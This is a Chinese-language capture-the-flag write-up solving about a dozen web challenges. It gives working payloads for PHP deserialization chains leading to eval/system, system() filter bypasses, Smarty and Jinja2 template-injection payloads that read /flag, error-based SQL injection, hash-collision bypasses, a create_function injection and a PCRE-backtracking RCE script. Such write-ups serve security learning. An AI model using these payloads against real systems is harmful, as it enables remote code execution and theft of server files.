easyssrf
打开题目,显示的是
尝试输入, 发现输入flag有东西
读取文件
访问下一个网站
读取文件 不能以file开头 直接伪协议,base64解码
checkIn
奇怪的unicode编码
当选中左边的时候右边也会被选中
我们在vscode看看 这样的额
展示的是UTF-16 三位16进制 转化一下UTF-8
U+202E 0xE2 0x80 0xAE %E2%80%AE
U+2066 0xE2 0x81 0xA6 %E2%81%A6
U+2069 0xE2 0x81 0xA9 %E2%81%A9
调整一下就好了
payload
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
level-up
考点 hash强碰撞 parse_url函数漏洞 create_funcion函数代码执行
打开题目,查看源码
disallow 一般robots.txt里会有 查看一下,进入第二关
第二关 md5 碰撞绕过
array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92
array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92
进入第三关
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
进入第四关
先了解一下parse_url函数:解析 URL,返回其组成部分
- scheme - 如 http
- host
- port
- user
- pass
- path
- query - 在问号
?
之后 - fragment - 在散列符号
#
之后
方法一、php传参解析:不规范的被转化为_;NI+ => NI_
方法二、parse_url函数漏洞
http://xxxx/xx.php?xx=xx 解析的query 为xx=xx
http://xxxx///xx.php?xx=xx 解析的query 为NULL 就是解析不到query
进入第五关
ok 这个形式 形似之前我做的笔记,第二个参数会被当作命令执行
考点应该是 create_function 方法
分析该正则
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;
意思就是 匹配字母数字下划线开头的字符
我们需要找到一个不以数字,字母,下划线等开头的value,同时可以正常执行函数
可以是fuzz找 就是 ascii码32-126作为第一个参数 发请求 看响应
找到的是 \ 也就是 %5c
构造一下
a=\create_function&b=;}phpinfo();/*
babyupload
考点:python的os.path函数漏洞
查看源码
访问 下载源码
Flask写的后端,上传的文件名不能有. 返回一个路径
拼接路径 读取文件
os.path漏洞
所以说
os.path("upload/",'/flag') => os.path('/flag')
一般来讲 flag都是在根目录下载flag 特别是这样的考点
上传的文件名为 /flag 就会读取内容
bingdundun~
考点:phar伪协议读取压缩文件
打开题目
说的可以上传压缩包,我们制造一个压缩包木马 然后 phar 读取试试
这里刚开始上传rar不可以 上传的zip
写木马=>压缩成zip
执行成功,寻找flag
babyserialize
考点:反序列POC构造 system绕过
一眼反序列化 打开题目为源码
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
?>
一步一步的分析
# 这里可以先看看提示
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
# 构造
?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}
然后接着分析 先找到目的地
# NISA类的
# __invoke以函数的形式调用对象时触发
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
# 发现 Ilovetxw类有
# $this->su=new NISA();
# __toString 将对象当作字符串处理的时候触发
public function __toString(){
$bb = $this->su;
return $bb();
}
# 发现了两处
# 1.NISA类的
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
# 2.four类的
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
我们先根据第一处构造POC
class NISA{
public $fun;
public $txw4ever;
}
class Ilovetxw{
public $huang;
public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = "phpinfo();";
$a->fun = $b;
echo((serialize($a)));
说明是对的不过被waf挡住了而已
过滤了system
命令执行函数system()绕过
"\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
(sy.(st).em)(whoami);
最终的POC
class NISA{
public $fun;
public $txw4ever;
}
class Ilovetxw{
public $huang;
public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
$a->fun = $b;
echo((serialize($a)));
第二处构造POC
# NISA类的
# __invoke以函数的形式调用对象时触发
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
# 发现 Ilovetxw类有
# $this->su=new NISA();
# __toString 将对象当作字符串处理的时候触发
public function __toString(){
$bb = $this->su;
return $bb();
}
# 2.four类的
# __set给不可访问 不存在的属性赋值时触发
# $this->a=new Ilovetxw();
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
# Ilovetxw类的
# $this->huang=new four();
# __call调用不存在的方法触发
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
# TianXiWei类的
# $this->ext=new Ilovetxw();
public function __wakeup()
{
$this->ext->nisa($this->x);
}
合起来构造
class NISA{
public $fun;
public $txw4ever;
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="system('ls');";
echo urlencode(serialize($a));
也是成功的
绕过
class NISA{
public $fun;
public $txw4ever;
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="(sy.(st).em)('cat /f*');";
echo urlencode(serialize($a));
midlevel
考点:Smarty SSTI
打开题目显示了IP 肯定时根据xff显示的IP 所以我们的可控点就是xff 来到最后看到
使用的是Smarty模板 考虑服务器模板注入
Smarty的注入方式{if phpinfo()}{/if}
尝试一下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CqCnZBPu-1667131050882)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221030160247518.png)]
OK 已经出答案了
X-Forwarded-For:{if system('nl /f*')}{/if}
join-us
考点:join using 无列名注入
访问登录页面,看到一个cat u get flag 输入框 试试sql注入
有报错信息
黑名单
by updatexml database union columns = substr
爆数据库名
这里一步一步的测试过滤什么的时候,发现了 泄露了表的名称
在查询是 如果查询的列不存在 并且 没有关闭报错信息 可以查询一个不存在的列 这样会报错
爆表名
方法一、brup爆破
这里忘记了考虑 过滤= like替换了 直接爆破 一般我们创建的表都是在最后的
方法二、like替换=
join using 爆破列名
查出来Fal_flag有以下三列
id
data
i_tell_u_this_is_Fal(se)_flag_is_in_another
1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+
提示不在这个表中 去看另外一个表
{3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}
或者查data,结果都是一样的,配个mid 显示后面的
is secret
考点:RC4、SSTI
打开之后 这样,让我们发现secret
尝试 传参 /secret 等等 发现是/secret
页面:
意思就是给他secret 它返回加密的内容
看 第一个加密时字母 其余的不可见 猜测可能加密的字符长度受限 试试看
果然 泄露了敏感信息 分析一下
- RC4 解密 密钥是 HereIsTreasure
- render_template_string 渲染 存在 SSTI python的
找一个RC4加密的脚本
import base64
from urllib import parse
def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)
运行RC4 加密
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
ls换成cat /flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}
popchains
考点:反序列化链子构造、flag藏得位置
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
//3.$this->string=new Make_a_Change
// 把实例当作字符串处理触发
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
// 这里
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
# 终点
public function append($value){
include($value);
}
# 1.调用终点 __invoke 以函数形式调用时触发
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
// 2. $this->effort=new Try_Work_Hard();
// __get 访问不存在 不可访问的属性触发
$function = $this->effort;
return $function();
}
}
构造的POC
<?php
class Road_is_Long{
public $page;
public $string;
//3.$this->string=new Make_a_Change
}
class Try_Work_Hard{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}
class Make_a_Change{
public $effort;
// 2. $this->effort=new Try_Work_Hard();
}
// $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));
先本地测试一下 我在同目录放了一个flag.php
ok 是可以的
试试看,没有显示 就怀疑是不是没有放在flag.php
往常一样试试根目录 /flag /flag.php 一般就是给我们挖坑就不会改的特别离谱的名字
最终的POC
class Road_is_Long{
public $page;
public $string;
//3.$this->string=new Make_a_Change
}
class Try_Work_Hard{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=/flag";
}
}
class Make_a_Change{
public $effort;
// 2. $this->effort=new Try_Work_Hard();
}
// $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));
这个比前一个反序列化要简单看来
middlerce
考点:PRCE绕过、RCE
打开题目直接是源码
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
看看这个正则
^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$
.*直接匹配所有,但是后面表达式还是需要匹配 这样就会回溯
什么意思?
就是如下图
那么如果找不到会一直回溯寻找嘛?当然不会 PHP有个100w的次数限制,也就是当回溯100w次 preg_match 将不在寻找,返回为false
注意 这里是false 0 √ false=0 ×
所以在本题中 我们可以构造一个大于回溯个数的串造成逃逸
看这里,是json解码之后的cmd内容,我们直接构造一个json串 python发送请求
在尝试过程 system啥的被禁 我们可以闭合前一个 构造下一个php标签绕过
$command = json_decode($txw4ever,true)['cmd'];
// checkdata 过滤了一些命令 尝试绕过
checkdata($command);
@eval($command);
如下
import requests
url = "http://1.14.71.254:28950/"
# 直接构造json串
'''
注意细节:
这样是不对的:'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}'
因为:"overflow":'+"-"*1000000+'}' 这里拼接完成后 - 并没有引号包裹 导致错误
正确的应该给外层-加上引号 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}'
因为-没有在正则的[]里面 所以可以使用
'''
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)
hardsql
等会写wp! 现在有些疲惫啦!